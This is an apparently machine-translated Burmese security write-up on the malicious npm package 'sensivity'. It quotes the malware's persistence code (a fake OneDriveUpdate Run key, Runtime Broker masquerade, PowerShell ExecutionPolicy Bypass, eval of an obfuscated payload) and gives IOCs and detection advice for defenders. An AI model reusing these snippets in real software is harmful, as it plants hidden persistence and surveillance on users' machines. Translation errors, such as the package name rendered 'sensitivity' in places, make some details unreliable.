PairLoop: npm Package တွင် ဝှက်ထားသော အဝေးထိန်း Panel

PairLoop: npm Package တစ်ခု၊ ဗားရှင်းခုနစ်ဆယ်နှင့် ဝှက်ထားသော Windows Remote-Control Panel တစ်ခု

မာတိကာ

မဖြစ်မနေဖတ်သင့်သောပို့စ်များ

စိတ်ဝင်စားဖွယ်ကောင်းသော နောက်ဆုံးပို့စ်များ

TL; DR

npm ပက်ကေ့ဂျ် အာရုံခံနိုင်စွမ်း ၎င်းသည် ၎င်းကိုယ်၎င်း "Sensivity Control Panel" အဖြစ် ဖော်ပြထားသည်။ Windows တွင် ၎င်းသည် အဝေးထိန်းစနစ်နှင့် စောင့်ကြည့်ရေးကိရိယာတစ်ခုအဖြစ် လုပ်ဆောင်သည်။

၎င်း၏ဝင်ပေါက်၊ launcher.js၎င်း၏ကိုယ်ပိုင်လုပ်ငန်းစဉ်ကို Runtime Broker ဟုအမည်ပြောင်းပြီး autostart Run-key value တစ်ခုကိုရေးသားသည် OneDriveUpdate ဝှက်ထားသော VBScript မှတစ်ဆင့် package ကိုပြန်လည်စတင်ပြီး PowerShell ကိုဖြစ်ပေါ်စေသည် -ExecutionPolicy Bypassထို့နောက် 6.87 MB native module နှင့်အတူ 171 KB obfuscated server payload ကို အကဲဖြတ်သည်။ sens.node.

၎င်းသည် TCP port 3000 ပေါ်ရှိ ဖုန်းတွဲချိတ်ခြင်း ထိန်းချုပ်ကိရိယာကို ဝန်ဆောင်မှုပေးပြီး Windows UIAutomation မှတစ်ဆင့် လက်ရှိအသုံးပြုနေသော browser ၏ address bar URL ကို ဖတ်ရှုကာ hard-coded လုပ်ထားသော YouTube ဗီဒီယိုတစ်ခုကို ကြည့်ရှုသည်။

အစောပိုင်းက black box တွေအဖြစ် ချန်ထားခဲ့တယ်လို့ ဖတ်ရတဲ့ အပိုင်းနှစ်ပိုင်းကို အခု ဖြေရှင်းပြီးပါပြီ။ ရှုပ်ထွေးနေတဲ့ server server.obf.js, သည် obfuscator.io RC4 string-array ပုံစံကို အသုံးပြုသည်။ ၎င်း၏ decoder ကို အော့ဖ်လိုင်းတွင် ပြန်လည်အကောင်အထည်ဖော်ခြင်း (JavaScript ကို မလုပ်ဆောင်ဘဲ) သည် ပြင်ပ endpoint တစ်ခုတည်းကို ပြန်လည်ရယူသည် — https://izopi.com/check.php — လက်မှတ်ရေးထိုးထားသော လိုင်စင်တုံ့ပြန်မှုများကို အတည်ပြုရန်အသုံးပြုသည့် ထည့်သွင်းထားသော RSA အများသုံးသော့နှင့်အတူ။

မူရင်းမော်ဂျူး၊ sens.node, ကို packed မလုပ်ထားပါ- ၎င်း၏ import table နှင့် embedded strings များက ၎င်းကို DirectX 11 အဖြစ် ဖော်ထုတ်သည် / Dear ImGui in-game overlay သည် remote-process injection နှင့် memory reads/writes မှ မောင်းနှင်ပြီး aimbot၊ ESP (wall-hack) နှင့် triggerbot အင်္ဂါရပ်များကို ပေးဆောင်သည်။

၎င်းအတွင်းရှိ string များသည် GTA V / FiveM နှင့် ကိုက်ညီသော ယာဉ် entity များနှင့် မြေပုံတည်နေရာများကို ရည်ညွှန်းသည်။ npm package သည် ထို native module ပတ်လည်ရှိ delivery နှင့် persistence wrapper ဖြစ်သည်။

အဓိပ္ပာယ်ဖွင့်ဆိုချက်က နည်းပညာပိုင်းဆိုင်ရာမဟုတ်ဘဲ လည်ပတ်မှုဆိုင်ရာဖြစ်သည်- အမည်မဖော်လိုသော ထုတ်ဝေသူတစ်ဦးက ပက်ကေ့ဂျ်တစ်ခု၏ ဗားရှင်းခုနစ်ဆယ်ခန့်ကို တွန်းအားပေးခဲ့သည် - 2.5.0 မှတဆင့် 2.5.69 — ရက်အနည်းငယ်အတွင်း၊ တစ်ဦးချင်းစီတွင် တူညီသော လောင်ချာတစ်ခု ကိုင်ဆောင်ထားသည်။

တပ်ဆင်ခြင်းမရှိပါဘူး hookspackage စတင်သည့်အခါတွင်သာ payload သည် အလုပ်လုပ်ပါသည်။

တိုက်ခိုက်မှု- ၎င်းမည်သို့အလုပ်လုပ်သည်

sensivity က ဖိုင်ဆယ်ခု ပို့ပေးပါတယ်။ package.json က ရှားပါးပါတယ်- repository field မရှိ၊ license မရှိ၊ main တစ်ခုနှင့် bin alias နှစ်ခု (sensivity, sens) အားလုံးသည် launcher.js ကို ညွှန်ပြနေပြီး node launcher.js ရဲ့ start script တစ်ခုလည်း ရှိပါတယ်။ postinstall သို့မဟုတ် preinstall မရှိပါဘူး။ npm install မှာ ဘာမှ fire မဖြစ်ပါဘူး။ အောက်မှာဖော်ပြထားတဲ့ အပြုအမူက user က package ကိုစတင်တဲ့အခါ — bin shim၊ start script သို့မဟုတ် require မှတစ်ဆင့် လုပ်ဆောင်ပါတယ်။

tarball တွင် launcher၊ obfuscated server၊ native module၊ Visual Basic script နှင့် control panel အတွက် public/ web directory တို့ ပါဝင်သည်။ launcher.js သည် ဖတ်နိုင်သော orchestrator ဖြစ်သည်။ runtime တွင် အရေးကြီးသော logic သည် ၎င်း load လုပ်သည့် blob နှစ်ခုတွင် ရှိသည် - obfuscated server နှင့် compile လုပ်ထားသော native module နှစ်ခုစလုံးကို အောက်တွင် ဖြေရှင်းထားသည်။

 လုပ်ငန်းစဉ်အယောင်ဆောင်ခြင်းနှင့် OneDrive အပ်ဒိတ်လုပ်သူအတု

အစောပိုင်းတွင် launcher.js သည် ၎င်း၏ကိုယ်ပိုင် process name ကို နှစ်ကြိမ်သတ်မှတ်သည်-

   javascript process.title = 'Runtime Broker'; 

Runtime Broker သည် app permissions များကို ကြားဝင်ဆောင်ရွက်ပေးသော တရားဝင် Windows process တစ်ခု (RuntimeBroker.exe) ဖြစ်သည်။ Node process တစ်ခုကို ၎င်းနှင့် ကိုက်ညီအောင် အမည်ပြောင်းခြင်းသည် Task Manager ကို တစ်ချက်ကြည့်လိုက်ရုံဖြင့် ထူးခြားသောအရာများ မတွေ့ရပါ။

Persistence ကို registry API မှတစ်ဆင့် တိုက်ရိုက်ရေးသားခြင်းထက် PowerShell မှတစ်ဆင့် ရေးသားထားသည်။

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

autostart value ကို OneDriveUpdate လို့ အမည်ပေးထားပြီး package ကို တိုက်ရိုက်ညွှန်ပြခြင်း မရှိပါ။ ၎င်းသည် bundle ပါ OneDrive.Standalone.Updater.vbs ကို run နေသော wscript.exe ကို ညွှန်ပြသည်။ ထို script သည် node launcher.js ကို ဝှက်ထားသော window တစ်ခုတွင် ပြန်လည်စတင်သည်။ Run-key အမည်နှင့် VBScript ဖိုင်အမည် နှစ်ခုစလုံးသည် Microsoft အမှတ်တံဆိပ်ကို ငှားရမ်းထားသောကြောင့် autostart entry ကို OneDrive ၏ ပုံမှန်လုပ်ငန်းတစ်ခုအဖြစ် ဖတ်ရှုသည်။

အကောင်အထည်ဖော်မှုမူဝါဒကျော်ဖြတ်ခြင်းဖြင့် PowerShell

launcher သည် PowerShell သို့ အကြိမ်ကြိမ် ပေးပို့သည်။ စကင်နာများက အရေးကြီးသည်ဟု အလံပြထားသော sink မှာ execution policy ကို disable လုပ်ထားသော generated .ps1 ကို စတင်ခြင်းဖြစ်သည်။

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

ExecutionPolicy Bypass သည် ထို invocation အတွက် local script-signing check ကို ဖယ်ရှားပေးသည်။ ထုတ်လုပ်ထားသော script များသည် နောက်အပိုင်းတွင်ဖော်ပြထားသော browser-surveillance နှင့် window-detection အလုပ်ကို ကိုင်တွယ်သည်။

ရှုပ်ထွေးနေသော server နှင့် native module

စနစ်ထည့်သွင်းပြီးနောက်၊ launcher.js သည် ၎င်း၏ payload အစစ်အမှန်ကို load လုပ်ပြီး execute လုပ်သည်-

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

server.obf.js သည် _0x-array obfuscation ၏ 171 KB ရှိသည် — string နှင့် identifier တိုင်းကို index ဖြင့် shuffled array ထဲသို့ အစားထိုးပြီးနောက် runtime တွင် de-reference လုပ်သည့် JavaScript ပုံစံဖြစ်သည်။ ပုံစံမှာ obfuscator.io မှထုတ်လုပ်သော RC4 မျိုးကွဲဖြစ်သည်- single decoder function base64 သည် array entry တစ်ခုကို decode လုပ်ပြီးနောက် RC4 သည် per-call key ဖြင့် decrypt လုပ်သည်။ ထို decoder ကို သီးခြား script တစ်ခုတွင် ပြန်လည်အကောင်အထည်ဖော်ခြင်း — ထုတ်ယူထားသော 821-entry string array ပေါ်တွင် ပြန်လည်အကောင်အထည်ဖော်ခြင်းကိုသာ လုပ်ဆောင်ပြီး package ၏ကိုယ်ပိုင် JavaScript ကိုမဟုတ်ဘဲ — ၎င်းကို သန့်ရှင်းစွာ unwind လုပ်သည်။ ပေါ်လာသောအရာသည် ရိုးရှင်းသော်လည်း decisive: ပြင်ပ URL တစ်ခုဖြစ်သည့် https://izopi.com/check.php` ကို LICENSE_URL constant တစ်ခုသို့ သတ်မှတ်ထားပြီး၊ embedded RSA PUBLIC_KEY_PEM` တစ်ခု၊ local panel သည် /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, နှင့် /trigger/status တို့ကို route လုပ်သည်။ ထို့အပြင် child_process, crypto, နှင့် [Sensivity] sens.node string များကို load လုပ်သည် — နောက်ဆုံးတစ်ခုမှာ launcher မှ program module သို့ ပြန်ရေးသည့် log line အတိအကျဖြစ်သည်။ endpoint သည် license check ဖြစ်သည်- client သည် identifier တစ်ခုကို post လုပ်သည် (obfuscated server သည် Discord ID: %s string ကို format လုပ်သည်) နှင့် RSA key သည် server ၏ signed response ကို verify လုပ်သည်။

sens.node သည် 6.87 MB compiled native addon တစ်ခုဖြစ်ပြီး packed မလုပ်ထားပါဘူး — section entropy သည် 5.6–6.6 တွင်ရှိပြီး PE import နှင့် export ဇယားများသည် အပြည့်အဝရှိနေသောကြောင့် ၎င်း၏စွမ်းရည်များကို တိုက်ရိုက်ဖတ်ရှုနိုင်ပါသည်။ ၎င်းသည် napi_register_module_v1 ကို export လုပ်ပြီး၊ standard Node N-API entry point ဖြစ်တဲ့အတွက် eval'd server က ရိုးရိုး require နဲ့ load လုပ်ပါတယ်။ import table ကသာ အဓိကပါ။ KERNEL32 ကနေ OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules နဲ့ Process32First/NextW — တခြား process တစ်ခုကို ရှာဖွေဖို့၊ အတွင်းမှာ memory ခွဲဝေပေးဖို့၊ အဲဒီ memory ကို ဖတ်ဖို့ ဒါမှမဟုတ် ရေးဖို့အတွက် canonical set တွေပါ။ USER32 ကနေ GetAsyncKeyState, GetKeyState, mouse_event နဲ့ SetCursorPos တွေကို ဆွဲထုတ်ပါတယ်။ on-screen overlay အတွက် d3d11.dll, D3DCOMPILER_43 နဲ့ dwmapi ကို ချိတ်ဆက်ပေးပြီး network call တွေအတွက် full WINHTTP set ကို ချိတ်ဆက်ပေးပါတယ်။ ၎င်း၏ embedded string များသည် မရှင်းလင်းသော feature set ကို အမည်ပေးသည်- Enable Aimbot၊ Aimbot FOV၊ Box ESP၊ Skeleton ESP၊ Triggerbot၊ ESP Builder၊ Vehicle ESP၊ Electron Anticheat detected နှင့် Dear ImGui banner Dear ImGui 1.91.3 WIP။ Grapeseed Medical Clinic နှင့် vehicle-ESP ဝေါဟာရကဲ့သို့သော တည်နေရာနှင့် entity string များသည် GTA V / FiveM နှင့် ကိုက်ညီပါသည်။

ခွဲခြမ်းစိတ်ဖြာခြင်းသည် ရည်ရွယ်ချက်ရှိရှိ လုပ်ဆောင်ခြင်းဖြစ်သည်- ဖတ်နိုင်သော launcher.js သည် scanner အလွယ်တကူဖတ်နိုင်သော အစိတ်အပိုင်းများ — persistence၊ masquerade၊ eval call ကိုယ်တိုင် — ကိုသာ သယ်ဆောင်ထားပြီး obfuscation သည် external host တစ်ခုတည်းကို runtime contacts များဖြင့် ဖုံးကွယ်ထားပြီး binary သည် game-overlay နှင့် process-injection logic များကို သိမ်းဆည်းထားသည်။ launcher သည် ပါးလွှာပြီး auditable shell တစ်ခုဖြစ်သည်။ obfuscated server သည် network identity ကို ဖုံးကွယ်ထားပြီး native module သည် payload ဖြစ်သည်။ ကျွန်ုပ်တို့သည် binary ၏ imports များနှင့် strings များကို read အဖြစ် ဖော်ပြပါသည်။ operator ၏ ရည်ရွယ်ချက်ကို ၎င်းတို့မှ ကောက်ချက်မချပါ။

 port 3000 မှာရှိတဲ့ ဖုန်းတွဲချိတ်မှု ထိန်းချုပ်ခလုတ်

launcher သည် TCP port 3000 ပေါ်ရှိ local web server တစ်ခုကို စီမံခန့်ခွဲပြီး singleton အဖြစ် သတ်မှတ်သည်။ ၎င်းသည် ရှိပြီးသား listener တစ်ခုကို query လုပ်ပြီး binding မလုပ်မီ ၎င်းကို clear လုပ်သည်-

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

panel ကို http://localhost:3000 တွင် ရောက်ရှိနိုင်ပြီး၊ http://192.168.1.16:3000 ၏ hard-coded LAN fallback URL ဖြင့် ရရှိနိုင်ပါသည်။ public/ directory နှင့် panel ၏ အပြုအမူသည် QR-pairing flow နှင့် ကိုက်ညီပါသည်- ဖုန်းသည် ကုဒ်တစ်ခုကို scan ဖတ်ပြီး remote တစ်ခုအနေဖြင့် host နှင့် ချိတ်ဆက်ပါသည်။ launcher တွင် cleartext ဖြင့် external command-and-control domain မပေါ်ပါ - သို့သော်၊ အထက်ဖော်ပြပါ deobfuscation တွင်ပြသထားသည့်အတိုင်း၊ obfuscated server တွင် တစ်ခုရှိနေပါသည်- izopi.com license endpoint။ panel ကိုယ်တိုင်က local ဖြစ်ပြီး LAN-scoped ဖြစ်သည်။ outbound host တစ်ခုတည်းမှာ ထို license check ဖြစ်သည်။

သီးခြား supervisor/worker မော်ဒယ်တစ်ခုသည် လုပ်ငန်းစဉ်ကို အသက်ဝင်စေသည်။ launcher သည် SENSIVITY_SUPERVISOR နှင့် SENSIVITY_WORKER ပတ်ဝန်းကျင်အလံများဖြင့် ၎င်းကိုယ်တိုင် ပြန်လည်ပေါ်လာပြီး ကလေးတစ်ခုစီသည် ဝှက်ထားပြီး လည်ပတ်နေသောကြောင့် လုပ်ငန်းစဉ်တစ်ခုကို သတ်လိုက်ခြင်းသည် ၎င်းကို ပြန်လည်စတင်ရန် watchdog တစ်ဦးကို ချန်ထားခဲ့သည်။

ဘရောက်ဆာ စောင့်ကြည့်ခြင်းနှင့် YouTube အချက်ပြမှု

အထူးခြားဆုံး အပြုအမူကတော့ browser monitoring ပါ။ launcher.js က Windows UIAutomation ကို မောင်းနှင်ပြီး လည်ပတ်နေတဲ့ browser ရဲ့ address bar ကို ဖတ်ဖို့ PowerShell ကို တည်ဆောက်ပေးပါတယ်။

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern သည် UI element တစ်ခု၏ စာသားအကြောင်းအရာများကို ပြန်ပေးသည်။ browser ၏ address-bar edit control တွင် အသုံးပြုခြင်းဖြင့် browser extension မပါဘဲ၊ disk ပေါ်ရှိ profile ကို မထိဘဲ၊ API hook မပါဘဲ victim လက်ရှိကြည့်ရှုနေသော URL ကို ပြန်ပေးသည်။ ထုတ်လုပ်ထားသော script သည် $browserNames list ကို iterate လုပ်ပြီး foreground ရှိ browser ၏ URL သို့မဟုတ် window title ကို extract လုပ်သည်။

ထို URL ကို တစ်ခုတည်းသော hard-coded target နှင့် စမ်းသပ်ထားသည်-

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

launcher သည် YouTube ကိုပြသသည့် browser window အတွက် သုံးစက္ကန့်ကြာ loop တစ်ခုဖြင့် polls လုပ်ပြီး၊ generated PowerShell တွင် ထို video ID နှင့် ကိုက်ညီသော Get-YouTubeBrowser / Test-TargetYouTubeUrl pair တစ်စုံကို သယ်ဆောင်ထားသည်။ မြင်သာထင်သာရှိသော အကျိုးသက်ရောက်မှုမှာ နှစ်ခုရှိသည်- active browsing URL ကို သားကောင်၏ screen မှ ဖတ်ရှုပြီး host ၏ YouTube video တစ်ခုနှင့် interaction ကို တွေ့ရှိသည်။ ကျွန်ုပ်တို့သည် mechanism နှင့် target ကို ဖော်ပြပြီး ၎င်းတို့မှ motif ကို ကျွန်ုပ်တို့ မကောက်ချက်ချပါ။

address bar မှာ scanner က sensitive_data_enumeration လို့ label တပ်ထားတဲ့ read ကတော့ network-capable runtime ကို feed လုပ်ပေးတဲ့ Process::env နဲ့ UIAutomation source တစ်ခုပါ။ သီးခြားကြည့်ရင်တော့ ကောင်းတဲ့ပုံပေါ်ပြီး data lifecycle ကို UIAutomation source ကနေ obfuscated server ကို ခြေရာခံပြီးမှသာ စောင့်ကြည့်ခံရမှာပါ။

အချိန်ဇယားနှင့် ဗားရှင်းဆင့်ကဲဖြစ်စဉ်

အာရုံခံနိုင်စွမ်းဆိုတာ တစ်ချက်တည်းနဲ့ အပ်လုဒ်လုပ်လို့ရတဲ့ အရာမျိုး မဟုတ်ပါဘူး။ ထုတ်ဝေသူအကောင့်မှာ ဒီ package ရဲ့ ထုတ်ဝေပြီးသား ဗားရှင်း ခုနစ်ဆယ်လောက်ရှိပြီး review window အတွင်းမှာလည်း အသစ်တွေက အဆက်မပြတ် ရောက်လာနေပါတယ်။ launcher ဟာ 2.5.x လိုင်းတစ်လျှောက်မှာ feature တစ်ခုချင်းစီကို တိုးချဲ့ပေးပေမယ့် သူ့ရဲ့ persistence နဲ့ payload-loading ကတော့ ပုံသေပါပဲ။

ရက်စွဲ (UTC) တွေ့ရှိထားသော ဗားရှင်းများ လွှတ်တင်သူ အခြေအနေ
2026-06-02 2.5.8 - 2.5.46 (25) အခြေခံ QR-panel launcher; Run-key persistence; obfuscated server ၏ evaluation။
2026-06-03 2.5.53 - 2.5.61 (6) လက်ဗွေရာ တူညီသည်။ console-trace နှိမ်နင်းမှု။
2026-06-04 2.5.67, 2.5.68 (2) YouTube ပါဝင်ဆောင်ရွက်မှုပစ်မှတ်ကို pinned လုပ်ထားသည် wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) ကွက်လပ်ဖြည့်ခြင်းကို အကွာအဝေးတစ်လျှောက် ပြန်လည်ထုတ်ဝေသည်။ ကြီးကြပ်ရေးမှူး/အလုပ်သမား စောင့်ကြည့်ရေးမှူး။

ဒေါင်းလုဒ်လုပ်ထားသော ကိုယ်စားလှယ်များ — 2.5.0၊ 2.5.36 နှင့် 2.5.69 — တွင် launcher ကို ဖတ်ရှုခြင်းဖြင့် အဆင့်လေးဆင့်ကို ပြသသည်။ အစောဆုံး build များတွင် အခြေခံ QR-pairing launcher ပါရှိသည်။ 2.5.33 မှစ၍ UIAutomation address-bar harvester ပေါ်လာသည်။ 2.5.58 မှစ၍ supervisor-management layer ကို ထည့်သွင်းထားသည်။ 2.5.64 မှစ၍ detached supervisor/worker watchdog သည် set ကို ပြီးမြောက်စေသည်။ တစ်လျှောက်လုံးတွင် မည်သည့်အရာလေးခုမျှ မပြောင်းလဲပါ- OneDriveUpdate Run key၊ OneDrive.Standalone.Updater.vbs dropper၊ eval'd server.obf.js နှင့် sens.node native module။

၂၀၂၆-၀၆-၀၅ လှိုင်းသည် ရက်အနည်းငယ်က အတည်ပြုထားသော ဗားရှင်းများထက် နိမ့်သော ဗားရှင်းနံပါတ်များ — ၂.၅.၀ မှ ၂.၅.၁၅ အထိ — ကို ပြန်လည်ထုတ်ဝေခဲ့သောကြောင့် ထင်ရှားပါသည်။ အကျိုးသက်ရောက်မှုမှာ registry တွင် 2.5.x လိုင်းတစ်ခု ဆက်တိုက်ပေါ်လာပြီး ဗားရှင်းတိုင်းတွင် တူညီသော launcher ပါရှိသည်။

ညှိနှိုင်းမှု၏ ညွှန်ပြချက်များ

အောက်ဖော်ပြပါ အညွှန်းကိန်းအားလုံးကို package tarball မှ တိုက်ရိုက်ဖတ်ရှုခဲ့သည်။ ဖတ်နိုင်သော launcher တွင် loopback နှင့် single private LAN address သာ ပါရှိသည်။ external hostname ဖြစ်သော izopi.com ကို server.obf.js ကို offline deobfuscating လုပ်ခြင်းဖြင့် ပြန်လည်ရယူခဲ့သည်။

ပုံစံ အညွှန်းကိန်း မှတ်စုများ
အထုပ် npm:sensivity (≈70 ဗားရှင်းများ၊ 2.5.0-2.5.69) Single-package publisher; repository မရှိ; လိုင်စင်မရှိ။
ဖိုင်မှတ်တမ်း launcher.js ဖတ်နိုင်သော orchestrator; main နှင့် bin target။
ဖိုင်မှတ်တမ်း server.obf.js (≈၁၇၁ ကီလိုဘိုက်) obfuscator.io RC4 string-array payload ကို မှတစ်ဆင့် တင်ထားသည်။ eval(fs.readFileSync(...)).
ဖိုင်မှတ်တမ်း sens.node (≈၆.၈၇ မီဂါဘိုက်) PE32+ x86-64 Node N-API အပိုဆောင်း; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
ဖိုင်မှတ်တမ်း OneDrive.Standalone.Updater.vbs ဝှက်ထားသော ပြန်လည်စတင်ကိရိယာ (node launcher.js).
Network https://izopi.com/check.php ရှုပ်ထွေးနေသော server မှ License/auth endpoint ကို ပြန်လည်ရယူထားသည်။ embedded RSA public key သည် တုံ့ပြန်မှုများကို အတည်ပြုသည်။
စွမ်းဆောင်နိုင်မှု OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread အဝေးထိန်းလုပ်ငန်းစဉ်ထည့်သွင်းခြင်းနှင့် မှတ်ဉာဏ်ဖတ်/ရေးစွမ်းရည်။
စွမ်းဆောင်နိုင်မှု Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP aimbot၊ ESP နှင့် triggerbot အင်္ဂါရပ်များကို အကောင်အထည်ဖော်သည့် DirectX 11 / ImGui game overlay။
registry ကို HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate အလိုအလျောက်စတင်တန်ဖိုးကို ညွှန်ပြနေသည် wscript.exe နှင့် VBScript launcher။
ဖြစ်စဉ် process.title = 'Runtime Broker' တရားဝင် Windows Runtime Broker လုပ်ငန်းစဉ်အဖြစ် အယောင်ဆောင်ခြင်း။
အမူအကျင့် powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 ထုတ်လုပ်ထားသော PowerShell script များအတွက် အသုံးပြုသော Execution-policy bypass။
အမူအကျင့် UIAutomation ValuePattern browser address bar ကိုဖတ်ခြင်း ရှေ့မျက်နှာပြင်ရှိ browser window ၏ URL ကိုဖတ်သည်။
အမူအကျင့် ပစ်မှတ်ဗီဒီယို ID wJWta2lO0Lw; ၃ စက္ကန့်ကြာ YouTube စစ်တမ်း ချိတ်ဆက်ဆောင်ရွက်မှု စောင့်ကြည့်ခြင်း အချက်ပြမှုကို ပင်ထိုးထားသည်။
Network http://localhost:3000, နောက်ပြန်ဆုတ်သည် http://192.168.1.16:3000 QR-pairing control panel ကို ဒေသတွင်းနှင့် LAN ပေါ်တွင် ဖော်ထုတ်ထားသည်။
ပတ်ဝန်းကျင် SENSIVITY_SUPERVISOR, SENSIVITY_WORKER သီးခြားစောင့်ကြည့်ရေးအဖွဲ့၏ လုပ်ငန်းစဉ် ညှိနှိုင်းဆောင်ရွက်မှု အလံများ။

ရည်ညွှန်းချက်၊ သက်ရောက်မှုနှင့် ကာကွယ်သူများ

ဒီ package ကို npm အကောင့်တစ်ခုတည်းက ထုတ်ဝေခဲ့တာဖြစ်ပြီး အဲဒီအကောင့်မှာ အတည်မပြုရသေးတဲ့ Gmail လိပ်စာပါရှိပါတယ်။ ဒီအကောင့်မှာ registry reputation score အလွန်ဆိုးရွားပြီး ဒီ package တစ်ခုတည်းကိုပဲ ထိန်းသိမ်းထုတ်ဝေပါတယ်။ ပြီးတော့ linked source repository လည်း မရှိပါဘူး။ အီးမေးလ်ရဲ့ပိုင်ဆိုင်မှုကို ကျွန်တော်တို့ အတည်မပြုရသေးပါဘူး။ campaign ကို publisher အကောင့်က ထုတ်ပေးတာဖြစ်ပြီး ဘယ်သူ့ကိုမှ ရည်ညွှန်းတာမဟုတ်ပါဘူး။ launcher မှာ cleartext infrastructure မပါရှိပေမယ့် external host တစ်ခုတည်းကိုတော့ အခုသိပါပြီ။ obfuscated server က license check အတွက် izopi.com ကို ဆက်သွယ်ပြီး native module က — reverse instruction-by-instruction အစား import table နဲ့ string တွေကနေ ဖတ်ပါတယ် — ဟာ တခြား process တစ်ခုရဲ့ memory ထဲကို inject လုပ်ပြီး ဖတ်တဲ့ game overlay တစ်ခုပါ။

မြင်သာထင်ရှားသော သက်ရောက်မှုသည် control-panel utility ကို မျှော်လင့်ထားသည့် sensitivity ကို install လုပ်ပြီး run သော Windows အသုံးပြုသူများအပေါ် ကျရောက်ပါသည်။ ထို host များတွင် package သည် OneDrive task အဖြစ် အယောင်ဆောင်ထားသော autostart persistence ကို တည်ဆောက်ပြီး system process တစ်ခုကို အတုယူကာ ၎င်းကိုယ်တိုင် အမည်ပြောင်းကာ user ကြည့်ရှုနေသည့် မည်သည့်အရာ၏ URL ကိုမဆို ဖတ်ရှုကာ local network မှတစ်ဆင့် remote နှင့် စက်ကို ချိတ်ဆက်ပေးသည့် pairing panel တစ်ခုကို တည်ဆောက်ပေးသည်။ supervisor/worker watchdog ဆိုသည်မှာ process kill တစ်ခုတည်းဖြင့် ၎င်းကို မဖယ်ရှားပါ။ Run-key entry သည် reboot များ ပြုလုပ်ပြီးနောက်တွင်ပင် အသက်ရှင်ကျန်ရစ်သည်။ macOS နှင့် Linux များကို launcher မှ ပစ်မှတ်ထားခြင်း မဟုတ်ပါ - persistence၊ PowerShell နှင့် UIAutomation path များသည် Windows အတွက်သာ ဖြစ်သည်။

ခုနစ်ဆယ်ဗားရှင်း churn လုပ်တာက အလံပြသင့်တဲ့ ခေတ်ရေစီးကြောင်းပါ။ ဖျက်ပြီးသားဗားရှင်းနံပါတ်တွေအောက်က ပြန်ဖြည့်တာအပါအဝင် ရက်အနည်းငယ်အတွင်း package တစ်ခုကို အကြိမ်ပေါင်းများစွာ ပြန်လည်ထုတ်ဝေတာက ဖယ်ရှားမှုတွေကြားမှာ registry မှာ live copy တစ်ခုကို ထားရှိပေးပြီး version-pin လုပ်ထားတဲ့ blocklist တွေကို အနှောင့်အယှက်ဖြစ်စေပါတယ်။ sensivity@2.5.61 အတွက် blocklist entry တစ်ခုဟာ နောက်တစ်နေ့မှာ sensivity@2.5.3 ပြန်လည်ထုတ်ဝေတာကို ဘာမှမထိခိုက်ပါဘူး။

ကာကွယ်သူများသည် အောက်ပါအချက်များကို လုပ်ဆောင်နိုင်သည်-

  • registry-proxy နှင့် CI ခွင့်ပြုစာရင်းများတွင် package name sensitivity ကို ሙሉစွာပိတ်ဆို့ပါ။ တစ်ဦးချင်းဗားရှင်းများကို pin လုပ်ခြင်းသည် republish cadence ကိုဆုံးရှုံးစေပြီး အမည်သည် တာရှည်ခံညွှန်ပြချက်ဖြစ်သည်။
  • OneDriveUpdate အမည်ရှိ Run value တစ်ခုကို ရှာဖွေပါ။ ၎င်း၏ data သည် wscript.exe ကို per-user path တွင် .vbs နှင့် နှိုင်းယှဉ်၍ invoice လုပ်သည်။ စစ်မှန်သော OneDrive updater ကို ဤနည်းဖြင့် မှတ်ပုံတင်မထားပါ။
  • Runtime Broker ဆိုတဲ့ process.title ရှိတဲ့ Node.js process တစ်ခုအတွက် သတိပေးချက်။ တကယ့် broker က Node runtime မဟုတ်ဘဲ RuntimeBroker.exe ပါ။
  • compile လုပ်ထားသော .node addon နှင့် sibling .obf.js ဖိုင်၏ eval(fs.readFileSync(…)) ကို ပို့ဆောင်ပေးသော package များ၏ npm install-time fetches များကို flag လုပ်ပါ။ ထို pairing — obfuscated text payload ဘေးတွင် load လုပ်ထားသော opaque native binary — သည် မည်သည့် string IOC နှင့်မျှ မသက်ဆိုင်ဘဲ ဤနေရာတွင် structural tell ဖြစ်သည်။
  • မမျှော်လင့်ထားသော Node လုပ်ငန်းစဉ်မှ ပေါက်ဖွားလာသော port 3000 ရှိ locally-bound listener တိုင်းကို managed Windows endpoints များတွင် သံသယရှိသူများအဖြစ် သတ်မှတ်ပါ။
  • developer သို့မဟုတ် end-user host များမှ izopi.com သို့ outbound request များကို ပိတ်ဆို့ပါ သို့မဟုတ် alert လုပ်ပါ။ ၎င်းသည် package ၏ တစ်ခုတည်းသော external endpoint ဖြစ်ပြီး obfuscated server မှ /check.php သို့ ရောက်ရှိသည်။
  • စုစည်းထားတဲ့ .node addon တိုင်းအတွက်၊ ၎င်းကိုယုံကြည်မှုမပြုမီ ၎င်း၏ import table ကိုစစ်ဆေးပါ။ OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread ပေါင်းစပ်မှုသည် package ကဘာပဲလုပ်လုပ် remote-process injection ဖြစ်သည်။ ဤနေရာတွင် Direct3D overlay နှင့် aimbot/ESP/triggerbot strings များဘေးတွင်ရှိသည်။

